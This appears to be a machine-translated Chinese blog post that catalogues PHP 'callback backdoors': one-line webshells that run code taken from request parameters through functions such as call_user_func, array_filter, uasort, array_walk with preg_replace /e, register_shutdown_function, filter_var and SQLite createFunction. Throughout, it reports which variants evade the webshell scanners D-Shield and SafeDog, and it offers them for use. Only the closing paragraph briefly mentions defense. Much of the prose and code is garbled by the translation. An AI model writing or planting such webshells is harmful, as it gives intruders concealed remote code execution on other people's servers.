Create tips secret-PHP callback Backdoor
Recently, many people have shared a word about dog shield, but it is nothing more than constructing some dynamic functions using various methods, for example, $ _ GET ['func'] ($ _ REQUEST ['pass. Although this method cannot be seen by dog shield, it is easy for people to discover such backdoors with the naked eye.
So I will share with you a few words that do not require dynamic functions, eval, sensitive functions, and no blocking.
Many of my friends like to add some tips to their favorites, including my favorite tips, which is useful in penetration and vulnerability mining.
Tips I believe many of my friends have collected a lot of things like a dog. In November, it seems that I had a word on Weibo, and I remember it in my Evernote:
If you collect tips, you can create tips. So how can we create a sentence (webshell) that involves a dog, a D shield, a non-dynamic function, and a non-dangerous function (feature-free )?
According to the above pdo statement, I can draw a universal conclusion: The function containing callback function parameters in php has the potential to be a backdoor.
I gave this webshell a name: callback backdoor.
0x01 old ancestor of callback Backdoor
In php, call_user_func is the standard method for executing callback functions, which is also an old backdoor:
Call_user_func ('assert ', $ _ REQUEST ['pass']);
Assert is directly used as the callback function, and then $ _ REQUEST ['pass'] is called as the assert parameter.
This backdoor can be found by both the dog and the hacker (but the dog won't intercept it ):
However, php function libraries are rich, so you can simply change the function to a safe dog without killing it:
Call_user_func_array ('assert ', array ($ _ REQUEST ['pass']);
The call_user_func_array function is similar to call_user_func, but the second parameter can be passed into an array composed of parameter lists.
It can be seen that although the dog does not kill, D shield intelligently identifies it.
It seems that this traditional callback backdoor has been targeted by some security vendors and there is a risk of being scanned and killed.
0x02 Single-parameter callback backdoor caused by Array Operations
For further consideration, in php development, we have encountered more than two functions with callback parameters. These functions that contain callback parameters have the potential to implement a "Callback backdoor. I first thought of the most "simple and easy to use ":
$ E = $ _ REQUEST ['E'];
$ Arr = array ($ _ POST ['pass'],);
Array_filter ($ arr, base64_decode ($ e ));
The array_filter function traverses all elements in the array and uses the specified function to process and filter the elements. This function is called (the subsequent testing environment is open and can be executed ):
This backdoor cannot be found by the dog, but D shield still has a sense and reports a level 3 (apparently lower than Level 4 ):
Similar to array_filter, array_map has the same effect:
$ E = $ _ REQUEST ['E'];
$ Arr = array ($ _ POST ['pass'],);
Array_map (base64_decode ($ e), $ arr );
Still being scanned and killed by D shield.
Sure enough, the simple array callback backdoor is easy to be detected and scanned.
0x03 assert in php5.4.8 +
In php 5.4.8 + versions, the assert function adds an optional parameter descrition by using a parameter:
This adds (CHANGES) a good "execute code" method assert. This function can have either a parameter or two parameters. In the past, there were two callback functions in the callback backdoor, which can be used now.
For example, the following callback BACKDOOR:
$ E = $ _ REQUEST ['E'];
$ Arr = array ('test', $ _ REQUEST ['pass']);
Uasort ($ arr, base64_decode ($ e ));
This backdoor reports an error in php5.3, prompting that assert can have only one parameter:
After the php version is changed to 5.4, the following code can be executed:
This backdoor cannot be found by both the dog and shield:
In the same way, this function is similar to the following:
$ E = $ _ REQUEST ['E'];
$ Arr = array ('test' => 1, $ _ REQUEST ['pass'] => 2 );
Uksort ($ arr, $ e );
The following two functions are provided:
// way 0$arr = new ArrayObject(array('test', $_REQUEST['pass']));$arr->uasort('assert'); // way 1$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));$arr->uksort('assert');
There are two similar callback backdoors:
$e = $_REQUEST['e'];$arr = array(1);$e = $_REQUEST['e']; $arr = array($_POST['pass']);$arr2 = array(1);array_udiff($arr, $arr2, $e);
The above are a sentence that can be connected directly with a kitchen knife, but the target PHP version is available only in 5.4.8 and later versions.
I will classify the above types as: Two-Parameter callback function (that is, the callback function format requires two parameters)
0x04 three-parameter callback function
Some functions require a strict callback function type, and the callback format requires three parameters. For example, array_walk.
The second parameter of array_walk is callable. Normally, the format is two parameters. But as mentioned in 0x03, the callback backdoors of the two parameters must use assert after php5.4.8, in 5.3, it is not easy to use. However, this callback can also accept three parameters, which makes it easy:
Php:
1. One parameter: assert
2. Two parameters: assert (php5.4.8 +)
3. Three parameters: preg_replace/e mode
Three parameters can be preg_replace. So here I constructed a callback backdoor for array_walk + preg_replace:
$ E = $ _ REQUEST ['E'];
$ Arr = array ($ _ POST ['pass'] => '|. * | E ',);
Array_walk ($ arr, $ e ,'');
, This backdoor can be used in 5.3:
But the powerful D-shield is still alert (although only Level 2 ):
However, if PHP has so many flexible functions, a slightly changed function (array_assist_recursive) D shield won't be able to find it:
$ E = $ _ REQUEST ['E'];
$ Arr = array ($ _ POST ['pass'] => '|. * | E ',);
Array_walk_recursive ($ arr, $ e ,'');
No.
After reading the above callback backdoors, we found that preg_replace is really useful. But apparently many WAF and dunton dogs have long been eyeing this function. In fact, in php, more than this function can execute eval functions, there are several similar:
Mb_ereg_replace ('. *', $ _ REQUEST ['pass'], '', 'E ');
Another:
Echo preg_filter ('|. * | E', $ _ REQUEST ['pass'], '');
These two statements do not kill:
A good sentence, and use and cherish it.
0x05 no echo callback Backdoor
In the callback backdoor, there is a special example: ob_start.
Ob_start can be used to input a parameter, that is, the function called when the buffer stream is output. However, for some special reason (may be related to the output stream), even if the execution result is not in the stream, it cannot be output at last, so such a sentence cannot be connected with a kitchen knife:
Ob_start ('assert ');
Echo $ _ REQUEST ['pass'];
Ob_end_flush ();
However, if you execute a url request, cloudeye can still observe the results:
Even if no output is made, the actual code is executed. It is also regarded as a type of callback backdoor.
0x06 Single-parameter backdoor ultimate aoyi
Although preg_replace and three-parameter backdoors are easy to use, they are discarded after/e mode php5.5 and will be deleted one day. Therefore, I think it is still a single-parameter backdoor, which is better controlled in all versions. Here are a few simple callback Backdoors
$ E = $ _ REQUEST ['E'];
Register_shutdown_function ($ e, $ _ REQUEST ['pass']);
This is supported by php in all versions, and does not report stable execution without killing:
Next:
$ E = $ _ REQUEST ['E'];
Declare (ticks = 1 );
Register_tick_function ($ e, $ _ REQUEST ['pass']);
Two more:
Filter_var ($ _ REQUEST ['pass'], FILTER_CALLBACK, array ('options' => 'assert '));
These two are the use of filter_var. This function is used in php to Filter Arrays. You only need to specify the filtering method as Callback (FILTER_CALLBACK) and the option is assert.
These single-parameter callback backdoors are very concealed and basically have no features. 6.
0x07 database operations and callback backdoors in third-party Libraries
Return to the sqlite callback backdoor that was first posted on Weibo. In fact, sqlite can construct more than the preceding callback backdoor.
We can register an sqlite function to make it have the same function as assert. When this SQL statement is executed, assert is executed. So this backdoor is constructed like this:
$e = $_REQUEST['e'];$db = new PDO('sqlite:sqlite.db3');$db->sqliteCreateFunction('myfunc', $e, 1);$sth = $db->prepare("SELECT myfunc(:exec)");$sth->execute(array(':exec' => $_REQUEST['pass']));
Executed:
The above sqlite method is executed by PDO. We can also directly call sqlite3 to construct a callback BACKDOOR:
$e = $_REQUEST['e'];$db = new SQLite3('sqlite.db3');$db->createFunction('myfunc', $e);$stmt = $db->prepare("SELECT myfunc(?)");$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);$stmt->execute();
The premise is php5.3 or above. If you use the sqlite _ * function below php5.3, I will not list it myself.
These two callback backdoors are implemented by the php extension Library (pdo and sqlite3. In fact, if the target environment has a specific extension library, you can also construct a callback backdoor. For example, php_yaml:
$ Str = urlencode ($ _ REQUEST ['pass']); $ yaml = greeting :! {$ Str} "|. + | e" EOD; $ parsed = yaml_parse ($ yaml, 0, $ cnt, array ("! {$ _ REQUEST ['pass']} "=> 'preg _ replace '); php_memcached: $ mem = new Memcache (); $ re = $ mem-> addServer ('localhost', 11211, TRUE, 100, 0,-1, TRUE, create_function ('$ a, $ B, $ c, $ d, $ e ', 'Return assert ($ a);'); $ mem-> connect ($ _ REQUEST ['pass'], 11211, 0 );
Study it on your own.
0x08 other parameter callback Backdoors
As mentioned above, when the callback function is in the format of 1, 2, and 3, you can use assert, assert, and preg_replace to execute the code. But what if the callback function format is the number of other parameters or the parameter type is not a simple string?
For example, we recommend that you use preg_replace_callback to replace the/e mode of preg_replace in php5.5. in fact, preg_replace_callback can also be used to construct a callback backdoor.
The second parameter of preg_replace_callback is the callback function, but the input parameter of this callback function is an array. If this parameter is directly specified as assert, it cannot be executed, because assert accepts strings.
Therefore, we need to "construct" a callback function that meets the conditions.
How to construct it? Use create_function:
Preg_replace_callback ('/. +/I ', create_function (' $ arr', 'Return assert ($ arr [0]); '), $ _ REQUEST ['pass']);
"Create" a function that accepts an array and passes the first element $ arr [0] of the array into assert.
This is also a callback backdoor that does not trigger stable execution. However, it seems uncomfortable because of the sensitive function create_function. But there is no way. Similarly, this is also:
Mb_ereg_replace_callback ('. +', create_function ('$ arr', 'Return assert ($ arr [0]);'), $ _ REQUEST ['pass']);
Another callback backdoor using the CallbackFilterIterator method:
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));foreach ($iterator as $item) { echo $item;}
Create_function is also used to create a callback function. But some people asked, the callback function created here has only one parameter? In fact, if assert is passed in, an error will be reported, and the specific cause is analyzed by yourself.
0x09 postscript
This article is like a nuclear weapon, and contains too many non-characteristic webshells. I know that after reading the article, the relevant manufacturers will have some minor actions. However, since I dare to write it out, I can assure how difficult these methods are to defend against.
In fact, callback backdoors are flexible and endless. As long as php is still developing, many backdoors with callback functions will be created. If you want to defend against such backdoors, it is certainly not enough to identify and defend against such backdoors.
To put it simply, we can only control functions such as assert and preg_replace to prevent this vulnerability.
